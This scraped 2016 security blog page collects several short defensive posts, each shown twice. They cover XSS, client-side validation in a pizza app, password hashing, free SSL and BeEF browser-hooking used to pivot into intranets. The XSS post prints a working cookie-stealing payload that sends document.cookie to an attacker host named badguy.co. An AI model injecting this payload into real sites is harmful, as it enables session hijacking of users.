This article about Minimum Viable XSS was interesting and relevant. I recently came across a XSS vulnerability, but due to server side validation and some string truncation that was occurring, there was a very limited number of characters that could be used to exploit this XSS vulnerability. You may be led to believe that since there's only a handful of characters available for the attack that it can't be abused, but per the article linked above, you'd be wrong! With as short as 20 characters, full blown XSS could be exploited with something like the BeEF framework, you could hook a browser, and you'd be in business as a bad guy. So please, DO NOT assume that truncating output is a viable form of vulnerability remediation. And please do not take a limited character XSS vulnerability light-heartedly, instead fix it immediately.
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Wednesday, April 20, 2016
XSS Cookie Theft
There are still scenarios where cookie theft might be useful for an attacker. If an XSS (Cross-Site Scripting) vulnerability exists on your website, the attacker may use it to swipe your customer's cookies and perhaps use it to login with their session or collect other types of information stored in the cookies. Let's see an example.
Assume there is a website that had a valuable sessionid cookie the bad guy wanted to steal from your end users. If he can find a XSS vulnerabilty on your website, such as in this "name" parameter below, so that when the attacker changes the title of a forum post, he is allowed to inject javascript into the title instead of just text
http://www.goodforum.com/post?name=MyTitle
... and the attacker finds out that the javascript he saves into the title gets executed every time a user loads his forum post. This type of XSS is called stored XSS, and the attacker could inject some malicious payload such as
http://www.goodforum.com/post?name=new%20Image().src%20%3D%20%27http%3A%2F%2Fbadguy.co%2Feat.php%3Fcookie%3D%27%20%2B%20encodeURI(document.cookie)%3B
If you decode the XSS payload you see this javascript code
new Image().src = 'http://badguy.co/eat.php?cookie=' + encodeURI(document.cookie);
If you watch this code execute in the browser you see a callout to the bad guy, and oops the sessionid cookie seems to have gone out too!
It's that simple. Now if the bad guy checks his web logs, he can see the user's session id value, and if he's using the proper tools, he's probably got it automated to the point where it takes the session id and immediately turns around and opens up the attackers browser with the end user's session and allows the attacker to browse around the website as that user. Thus take XSS seriously and fix those vulnerabilities!
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Assume there is a website that had a valuable sessionid cookie the bad guy wanted to steal from your end users. If he can find a XSS vulnerabilty on your website, such as in this "name" parameter below, so that when the attacker changes the title of a forum post, he is allowed to inject javascript into the title instead of just text
http://www.goodforum.com/post?name=MyTitle
... and the attacker finds out that the javascript he saves into the title gets executed every time a user loads his forum post. This type of XSS is called stored XSS, and the attacker could inject some malicious payload such as
http://www.goodforum.com/post?name=new%20Image().src%20%3D%20%27http%3A%2F%2Fbadguy.co%2Feat.php%3Fcookie%3D%27%20%2B%20encodeURI(document.cookie)%3B
If you decode the XSS payload you see this javascript code
new Image().src = 'http://badguy.co/eat.php?cookie=' + encodeURI(document.cookie);
If you watch this code execute in the browser you see a callout to the bad guy, and oops the sessionid cookie seems to have gone out too!
It's that simple. Now if the bad guy checks his web logs, he can see the user's session id value, and if he's using the proper tools, he's probably got it automated to the point where it takes the session id and immediately turns around and opens up the attackers browser with the end user's session and allows the attacker to browse around the website as that user. Thus take XSS seriously and fix those vulnerabilities!
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
DO NOT Skip Server Side Validation
This article about a Domino Pizza website hack brought back memories of discussions I had with developers on Client-side vs Server-side validation. The long story short is no matter how much client side or "pretty" validation you have, no matter what type of app it is (website, desktop, iphone, etc.), DO NOT skip the Server Side Validation! This article explains why and I tried to highlight it below...
- What are we talking about? A Domino Pizza Android app that orders pizza.
- What part of the app had the issue? The part in code where they process the credit card.
- What did they do wrong? They communicated directly from the app to the payment processor (Visa/Mastercard/etc.).
- What's wrong with that? All validation is performed client-side on the Android phone.
- So what? You could simply use a client-side tool like BURP to "fake" the response from the payment processor, enter "APPROVED", and get free pizza.
- How's that? The app is only doing client-side validation, so whatever response the client (Android app) gets back, it trusts, even if it's fake, spoofed, or modified.
- How could they fix it? The Android app should talk to a Dominos Server. The Server should talk to the payment processor. The server does it's validation, orders the pizza, and TELLS the client the results. The Android App just echos to the user the work that the server did.
- How does that help? Think of any client device (Phone, Computer, Browser) as completely customizable and owned by the user. They can intercept, change, and manipulate anything they want on their end. A good example is in a web browser, if you have client-side javascript or jquery validation, a user can turn that off simply by disabling javascript. Thus the reason why it's insufficient to perform data integrity checks client-side only. So by shifting the payment processing to the server, and having the server preform that validation, it ensures that a client cannot manipulate, fake, spoof, or modify requests or responses to/from the payment processor. Thus no more free pizza.
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
- What are we talking about? A Domino Pizza Android app that orders pizza.
- What part of the app had the issue? The part in code where they process the credit card.
- What did they do wrong? They communicated directly from the app to the payment processor (Visa/Mastercard/etc.).
- What's wrong with that? All validation is performed client-side on the Android phone.
- So what? You could simply use a client-side tool like BURP to "fake" the response from the payment processor, enter "APPROVED", and get free pizza.
- How's that? The app is only doing client-side validation, so whatever response the client (Android app) gets back, it trusts, even if it's fake, spoofed, or modified.
- How could they fix it? The Android app should talk to a Dominos Server. The Server should talk to the payment processor. The server does it's validation, orders the pizza, and TELLS the client the results. The Android App just echos to the user the work that the server did.
- How does that help? Think of any client device (Phone, Computer, Browser) as completely customizable and owned by the user. They can intercept, change, and manipulate anything they want on their end. A good example is in a web browser, if you have client-side javascript or jquery validation, a user can turn that off simply by disabling javascript. Thus the reason why it's insufficient to perform data integrity checks client-side only. So by shifting the payment processing to the server, and having the server preform that validation, it ensures that a client cannot manipulate, fake, spoof, or modify requests or responses to/from the payment processor. Thus no more free pizza.
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
SQL Injection Cheat Sheet Link
Looking for a SQL Injection examples? I found this SQL injection cheat sheet by netsparker pretty nice
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Password Hashing for Developers
I loved this blog by “No Bugs” Hare about Password Hashing and thought it's a great read for developers. Read it and enjoy! Here are some of the main highlights I took away ...
- What is hashing? It's a one-way transformation. It's NOT encryption. You cannot decrypt a hashed password if done correctly.
- Why do it? If an attacker gains access to your password table, you want to prevent him from gaining access to all user passwords.
- Can hashing be done wrong? If it's simple hashing, an attacker can create a dictionary of all possible passwords (or at least the most common) and do a lookup to see if any of your users have those passwords. - What is salt? If my password is 'abc' and so is yours, salt will make the hash different. Thus dictionaries aren't helpful now because the password 'abc' can become many different hashes. - Can a salted hashed database be cracked? Yes, if an attacker gets your database and has all your hashes and salts, he can take it to his lab and still try to guess every possibility for that salt. - What makes offline cracking harder? There are 2 answers mathematically speaking. Long passwords. Slow hash functions. The amount of time to do an offline brute force increases based on those factors.
Also, don't forget that even if you properly hash and salt your password database, an attacker can get a password from other methods. Make sure passwords are passed over encrypted protocols (like HTTPS) at all times so they can't be sniffed out. Implement a strong password recovery solution so that an attacker can't just reset or recover a password. Implement employee training to educate them against phishing and credential harvesting attacks.
And of course you've heard that passwords may not be the way of the future. A better solution is perhaps something like 2-Factor authentication that requires 2 things to login such as a password & a token from your iphone.
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
- What is hashing? It's a one-way transformation. It's NOT encryption. You cannot decrypt a hashed password if done correctly.
- Why do it? If an attacker gains access to your password table, you want to prevent him from gaining access to all user passwords.
- Can hashing be done wrong? If it's simple hashing, an attacker can create a dictionary of all possible passwords (or at least the most common) and do a lookup to see if any of your users have those passwords. - What is salt? If my password is 'abc' and so is yours, salt will make the hash different. Thus dictionaries aren't helpful now because the password 'abc' can become many different hashes. - Can a salted hashed database be cracked? Yes, if an attacker gets your database and has all your hashes and salts, he can take it to his lab and still try to guess every possibility for that salt. - What makes offline cracking harder? There are 2 answers mathematically speaking. Long passwords. Slow hash functions. The amount of time to do an offline brute force increases based on those factors.
Also, don't forget that even if you properly hash and salt your password database, an attacker can get a password from other methods. Make sure passwords are passed over encrypted protocols (like HTTPS) at all times so they can't be sniffed out. Implement a strong password recovery solution so that an attacker can't just reset or recover a password. Implement employee training to educate them against phishing and credential harvesting attacks.
And of course you've heard that passwords may not be the way of the future. A better solution is perhaps something like 2-Factor authentication that requires 2 things to login such as a password & a token from your iphone.
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
WordPress.com Free SSL for Everybody!
I've blogged several times about the benefits and eventual widespread adoption of of HTTPS on the Internet
1
2
3
4
5
I found this article about Wordpress.com SSL more proof that it's happening. The article says "All custom domains hosted on WordPress.com will soon have their sites automatically encrypted for free. WordPress said late Friday afternoon that more than one million sites will have encryption automatically deployed .... WordPress’ SSL cert rollout is coming courtesy of the Let’s Encrypt project, a coalition of tech providers, and privacy and legal minds, who developed a mechanism to issue free SSL certificates to any sites that wants one."
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
I found this article about Wordpress.com SSL more proof that it's happening. The article says "All custom domains hosted on WordPress.com will soon have their sites automatically encrypted for free. WordPress said late Friday afternoon that more than one million sites will have encryption automatically deployed .... WordPress’ SSL cert rollout is coming courtesy of the Let’s Encrypt project, a coalition of tech providers, and privacy and legal minds, who developed a mechanism to issue free SSL certificates to any sites that wants one."
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Harden your Intranet, BeEF Bind Shellcode says so!
I was reading the Browser Hackers Handbook and thought it gave a great example of why you should take hardening your internal INTRANET seriously. By INTRANET, I mean all those servers inside your network, such as the ones that handle employee email, payroll, ERP systems, file servers, print servers, database servers, collaboration, etc. Why? Well my story starts with BeEF, the Browser Explotation Framework, which automates and simplifies attacking a browser for the bad guys. In many cases it can turn an attack against a browser from lots of lines of complex scripting language code into a simple mouse & click for the attacker. One feature in BeEF is the BeEF Bind shellcode which as I see it is a great example of why you need to take hardening your internal INTRANET seriously. Here is a diagram of how it works. I'll walk through in a bit more detail below.
Phase 1, the click-happy employee
Imagine you have 1000s of employees at your company, but just 1 gullible employee. That's all the attacker needs. Imagine they tricked that user via a phishing email to click a single malicious link. That link hooks the user's browser (could be Chrome, FireFox, Internet Explorer, etc.) with the BeEF framework. Now you're probably thinking that the user's workstation could get compromised somehow, maybe some ransomware gets installed, etc. But what if there were more possibilities?
Phase 2, a compromised browser can be as powerful as a compromised computer
Now imagine if from the BeEF framework you could take control of that user's browser (I'm not even talking about controlling the workstation, I'm saying JUST THE BROWSER is hooked by the attacker). Now image if they could use that hooked browser to attack your internal network. Guess what? The capabilities are all there in BeEF and a book like the Browser Hacker's Handbook has working examples to show you how to do it. The attacker could actually launch a network sweep (via javascript) from that 1 gullible user's browser against the servers on your INTRANET. The attacker can then launch port scans (via javascript) right from that 1 gullible user's browser against the interesting INTRANET servers it found. It gets worse. The attacker can then generate and send vulnerability scanner-like requests via javascript (such as SQL injection discovery) again right out of the browser against a server. Finally, from that 1 gullible user's browser the attacker could send an exploit payload (such as a SQL injection request) directly to a vulnerable server on your INTRANET and compromise it. Yeah, that one Windows NT database server you thought it was safe not to patch. Here's one way it could get popped.
Phase 3, the compromised server never phones home, it just talks to the employee's browser!
Now all of that is fascinating and scary especially since it's highly like that of your 1000s of employees, at least one of them is going to accidentally click on a malicious email. But what if there was more? Imagine that the attacker somehow managed to successfully use the scenario above and compromise an internal server. What if your networking team was amazing and awesome and has egress (outbound) network traffic from servers locked down tight. So the attacker is stuck. He has a compromised box, but he can't actually get it to communicate out or phone home to his C&C (command and control). No problem, the BeEF Bind Shellcode actually delivers a solution to that problem. That compromised server can still communicate with the gullible user's workstation, right? So the BeEF Bind Shellcode actually proxies or funnels all communication in and out to that compromised server via that 1 gullible user's browser. That is the part I find fascinating and the scariest of all is that all this malicious traffic, compromised activity, command and control traffic, data exfiltration, etc. is all essentially happening through a browser over port 80/443. That's a big problem.
Imagine you were the good guy trying to determine when this type of activity happens. It might be a bit of work but relatively speaking not too difficult to lock out egress (outbound) traffic from servers or to monitor it with an IDS or other devices looking for suspicious traffic. But it becomes harder to monitor a user's workstation web traffic. There's just soooo much of it, every page generates soooo many requests. But it becomes incredibly more difficult if you also have to also watch the traffic from a user workstations to internal INTRANET servers. And it also makes it hard if that traffic you have to watch is web traffic (port 80, 443) and intermingled and mixed in on the same port and protocol as all the legit normal traffic. Yikes.
While several monitoring tools like IDS, endpoint agents, etc. can do a lot towards catching this kind of traffic, one of the most important pro-active steps you need to take in order to prevent this type of issue is to harden your INTRANET just like it's the wild west, just like it's on the Internet, patch early and often. Assume that your internal INTRANET has attackers already inside lurking around every corner, hooking random browsers , workstations, and other devices ... and harden your systems to make it difficult for them from to pivot and move around and find what they want.
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Phase 1, the click-happy employee
Imagine you have 1000s of employees at your company, but just 1 gullible employee. That's all the attacker needs. Imagine they tricked that user via a phishing email to click a single malicious link. That link hooks the user's browser (could be Chrome, FireFox, Internet Explorer, etc.) with the BeEF framework. Now you're probably thinking that the user's workstation could get compromised somehow, maybe some ransomware gets installed, etc. But what if there were more possibilities?
Phase 2, a compromised browser can be as powerful as a compromised computer
Now imagine if from the BeEF framework you could take control of that user's browser (I'm not even talking about controlling the workstation, I'm saying JUST THE BROWSER is hooked by the attacker). Now image if they could use that hooked browser to attack your internal network. Guess what? The capabilities are all there in BeEF and a book like the Browser Hacker's Handbook has working examples to show you how to do it. The attacker could actually launch a network sweep (via javascript) from that 1 gullible user's browser against the servers on your INTRANET. The attacker can then launch port scans (via javascript) right from that 1 gullible user's browser against the interesting INTRANET servers it found. It gets worse. The attacker can then generate and send vulnerability scanner-like requests via javascript (such as SQL injection discovery) again right out of the browser against a server. Finally, from that 1 gullible user's browser the attacker could send an exploit payload (such as a SQL injection request) directly to a vulnerable server on your INTRANET and compromise it. Yeah, that one Windows NT database server you thought it was safe not to patch. Here's one way it could get popped.
Phase 3, the compromised server never phones home, it just talks to the employee's browser!
Now all of that is fascinating and scary especially since it's highly like that of your 1000s of employees, at least one of them is going to accidentally click on a malicious email. But what if there was more? Imagine that the attacker somehow managed to successfully use the scenario above and compromise an internal server. What if your networking team was amazing and awesome and has egress (outbound) network traffic from servers locked down tight. So the attacker is stuck. He has a compromised box, but he can't actually get it to communicate out or phone home to his C&C (command and control). No problem, the BeEF Bind Shellcode actually delivers a solution to that problem. That compromised server can still communicate with the gullible user's workstation, right? So the BeEF Bind Shellcode actually proxies or funnels all communication in and out to that compromised server via that 1 gullible user's browser. That is the part I find fascinating and the scariest of all is that all this malicious traffic, compromised activity, command and control traffic, data exfiltration, etc. is all essentially happening through a browser over port 80/443. That's a big problem.
Imagine you were the good guy trying to determine when this type of activity happens. It might be a bit of work but relatively speaking not too difficult to lock out egress (outbound) traffic from servers or to monitor it with an IDS or other devices looking for suspicious traffic. But it becomes harder to monitor a user's workstation web traffic. There's just soooo much of it, every page generates soooo many requests. But it becomes incredibly more difficult if you also have to also watch the traffic from a user workstations to internal INTRANET servers. And it also makes it hard if that traffic you have to watch is web traffic (port 80, 443) and intermingled and mixed in on the same port and protocol as all the legit normal traffic. Yikes.
While several monitoring tools like IDS, endpoint agents, etc. can do a lot towards catching this kind of traffic, one of the most important pro-active steps you need to take in order to prevent this type of issue is to harden your INTRANET just like it's the wild west, just like it's on the Internet, patch early and often. Assume that your internal INTRANET has attackers already inside lurking around every corner, hooking random browsers , workstations, and other devices ... and harden your systems to make it difficult for them from to pivot and move around and find what they want.
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Subscribe to:
Posts (Atom)